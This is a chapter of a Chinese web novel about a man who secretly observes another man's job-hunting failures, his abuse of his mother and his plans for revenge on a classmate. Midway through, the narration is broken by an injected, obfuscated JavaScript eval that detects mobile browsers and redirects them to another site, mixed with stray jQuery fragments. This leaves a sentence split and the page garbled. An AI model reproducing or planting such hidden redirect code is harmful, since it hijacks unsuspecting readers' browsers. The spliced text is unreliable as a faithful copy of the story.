有了邵小年身份的邵以年很快就在同一家公司里遇到了不同部门的徐秋笙。
剧情好像突然之间被加速了一样,当时徐秋笙被同事喊名字,他的脸正好被邵以年看见。
邵以年在徐秋笙家里参观的时候见过他年轻时的照片,所以一下子就认出来了是他。也是从那天开始,作为邵小年身份的邵以年开始关注徐秋笙。
他们其实见过远不止电梯里让位置的那一次,很多次公司里的“偶遇”邵以年都在默默地观察徐秋笙,但大概是邵小年太普通了,所以徐秋笙一直没注意到邵以年。
邵以年开始也在刻意地跟徐秋笙保持距离,但眼见着保持距离对早点儿离开这里回到现实世界好像没有一丝帮助,邵以年便想着要反着来,主动接近徐秋笙,让他看见自己。
也许以邵以年的身份接近徐秋笙是危险的,但是以邵小年的身份接近他暂时是安全且有利的。
所以邵以年不只了解徐秋笙之前是被公司辞退的,他也知道徐秋笙在这快两年内的空窗期是怎么过的。
虽然换做是谁急于求职却一直未果都不好过,但徐秋笙却让这段时间过得格外压抑。
邵以年从公司顺利办理完离职后,彻底成了以徐秋笙为生活全部重心的无业游民,他整天跟着徐秋笙观察他的一举一动。
邵以年甚至有几次特意跟徐秋笙打着照面,让他看到自己,还做过一些类似于当时从电梯上下来让位置等友善的事情,但大概还是因为邵小年这个人太普通了,普通到不容易被人记住。
亦或是徐秋笙把自己封闭得太强了,对外界的人和事随着脱离社会越久也变得越排斥和抵触。
如果不是为了谋生,不是为了找工作徐秋笙甚至都不想出门。
徐秋笙觉得自己这辈子最大的心愿就是在一套属于自己的房子里一直待着,他甚至可以一辈子都不出门,只跟自己相处。
他不再有什么高远雄伟的志向抱负,徐秋笙憎恨这个不公平的世界,他认清了自己终极一生也难以逆天改命的现实。
他的终点连邵以年这样的人的起点都够不到,因此他也更加憎恶和仇视在他眼中像邵以年之类的,只是因为会投胎就可以毫不费力得到一切的人。
徐秋笙也早早就明确了自己没有结婚生子的人生规划,他觉得那样太累了,他只想有一个自己的房子,跟原生家庭截然不同的,体面的、光鲜亮丽的属于自己的房子。
这两年找工作的过程中,徐秋笙碰过不少壁也因此没少跟父母发生过争吵,关系变得越来越紧张。
每次徐秋笙跟父母沟通,都是各说各的,徐秋笙的爸妈催着他找工作,催着他结婚生子,甚至想托人帮他在老家找份稳定的工作。
他们的话徐秋笙都听不进去,他们的观念徐秋笙更无法认同。
他只想在这个离父母很远的城市扎稳脚跟,然后买一个属于自己的房子。
但事与愿违,这两年徐秋笙的工作找得并不如意,学历和年龄、长相和性格、专业和户籍、工作空窗期等等这些都成了被挑剔的理由。
邵以年不知道自己存在于这个时间和世界的原理是什么,他不是隐身的,是以邵小年身份存活的,可以被其他人看见。但他又可以赤裸裸地看见、听见和感受到徐秋笙不想被他人知道的内心想法、表情和状态,而且似乎不会被徐秋笙发现。
这种状态让邵以年觉得自己介于隐身和非隐身之间。
邵以年从来没有经历过找工作,像他这样的人生来就可以轻而易举地得到最好的一切,邵厉帮他铺好了所有的路,邵厉对邵以年所有的栽培只是希望他可以带着家族的荣耀走得更高更远。
跟普通人不一样,不是练就了一身“武艺”,内卷、激烈竞争只为了多那么一丁点儿的选择。像邵以年这样的人他们不需要去经历头破血流的选择。
对自己不好的人,徐秋笙只会在心里怨恨,不会反抗出来,相反他会把所有的负面情绪发泄到自己亲近的人身上,比如他的母亲。
一个老实巴交整日为儿子的前途忧心忡忡,一个听儿子的语气就能察觉到他最近生活状况的女人,无数次哽咽,但仍然顶着儿子的辱骂忍不住去关心他。
邵以年已经见过听过徐秋笙对着自己的母亲无数次咆哮的场面,是撕心裂肺的,是不堪的,是长期压抑的。
连邵以年都会感到震惊,因为徐秋笙老实人形象伪装得太好了,让人想不到他身上会有如此反差的、激烈的情绪表达。
邵以年单冲这一点就对徐秋笙生不出好感,他厌恶有母亲却不知道好好珍惜母爱的人,这会让邵以年想到自己至今都下落不明的母亲。
“你考虑得怎么样了?”
“我看这个岗位是外包岗位,有没有…转成…正式员工的…机会?还有…就是这个薪资…比我预期的…要低…一些。”
徐秋笙一边跟人事打着电话,一边看美女人事的头像。
头像的照片是一张海边度假的美照,长相和身材都被凸显了出来,徐秋笙用手再次放大了这张照片。
自从申请了这份工作以来,徐秋笙就很难忽略这张照片。这张女人的照片甚至会让他作为一个男人进行各种联想和欲望的发泄。
所以对于徐秋笙来说跟自己有好感的女人提出刚刚的问题或者诉求,作为一个男人多少是有些伤自尊的。
他很在意美女人事的反馈,在意到不亚于他问的问题本身。但徐秋笙越在意就越紧张。表达的时候磕磕巴巴的,语气也很犹豫。
直接把对面美女人事听得翻白眼,事实证明徐秋笙不擅长跟人沟通,不擅长跟专业的人士沟通,更不擅长跟女人沟通。
对美女人事来说,关于这份工作岗位的沟通,这不是徐秋笙问她的第一个问题。美女人事觉得自己第一次遇见这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610905|203701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么窝囊又事儿多的男人。
她觉得自己受了极大的委屈,要不是因为工作的原因,绝不会去了解这样的屌丝,还有跟这样的屌丝男说话。
美女人事越想越气,逐渐失去了耐心。
“就你这样的学历而且还是属于跨行,也要不了高工资啊!”美女人事说这句话的时候明显带着情绪,不仅破音了还直接飙出了自己的方言,跟此前温和近人的声音和过于标准的普通话形成了鲜明对比,口吻带着快要溢出来的嘲讽。
敏感的徐秋笙又怎么会听不出来?虽然两个人只是在打电话并没有面对面,但徐秋笙不难想象这样的口吻此刻脸上同步的是什么样的表情,他最担心的事情还是以最坏的结果发生了,一瞬间他的脸涨得通红,很想找个地缝钻进去。
美女人事察觉到了自己的失态,很快地进行了自我修复。倒不是因为她觉得自己刚刚的行为有冒犯到徐秋笙和不妥,而是与她自己打造的精英人设不符。
之后美女人事用有礼貌却冷冰冰的语气答复了徐秋笙的问题,“我现在根据你的情况能帮你争取到的就是这些薪资,其他的你可以跟你的部门主管谈。”
邵以年跟徐秋笙共处一室,在非角落里明目张胆地吃瓜。当然此刻自以为独处可以卸下伪装的徐秋笙看不见他,也察觉不到他邵以年的存在。
邵以年饶有兴趣地见证着这一切,全程听下来他觉得这两个人都挺“有意思”的。
邵以年从小就跟着邵厉见识过形形色色的人,对于人性的探索总能让他有一种无止境的快乐。
如果徐秋笙此刻能看到邵以年脸上的表情一定会非常讨厌他,那不是怜悯和同情,而是有着一种骨子里的骄傲。
但徐秋笙又是一个很矛盾的人,如果真的有人对他释放出同情和怜悯,哪怕只有一丁点儿,他都会觉得那是一种侮辱。
后来徐秋笙忘了自己是怎么结束和美女人事的对话的。好像是对方先干净利落挂了电话,他被动到感觉有话噎在嗓子里没说完一样。
冷风从窗外毫不留情地吹进房间内,让徐秋笙清醒了不少,他对美女人事的幻想破灭了,当然他的这份工作机会大概率也黄了。
极度的自卑和混乱感让徐秋笙突然怀念起,自己曾经伤害过的对他施以善意的人,那个人的名字好像叫…
邶小珀,对,他的初中同学邶小珀。
还有一个叫许小小的女孩儿,但是她在某一个时间节点突然转学了,从此再也没见过。
这让徐秋笙多少觉得很可惜。因为一开始他的猎物明明是两个人,后来少了一个,好像也少了一份刺激和乐趣。
徐秋笙总是觉得事与愿违,很多事情不能按照他想的那样发展,这额外让他气恼。
但他很快就找到了解决方案,把本来要对两个人发起的关于这段时间给他“施舍和怜悯”的报复,集中火力到了邶小珀身上。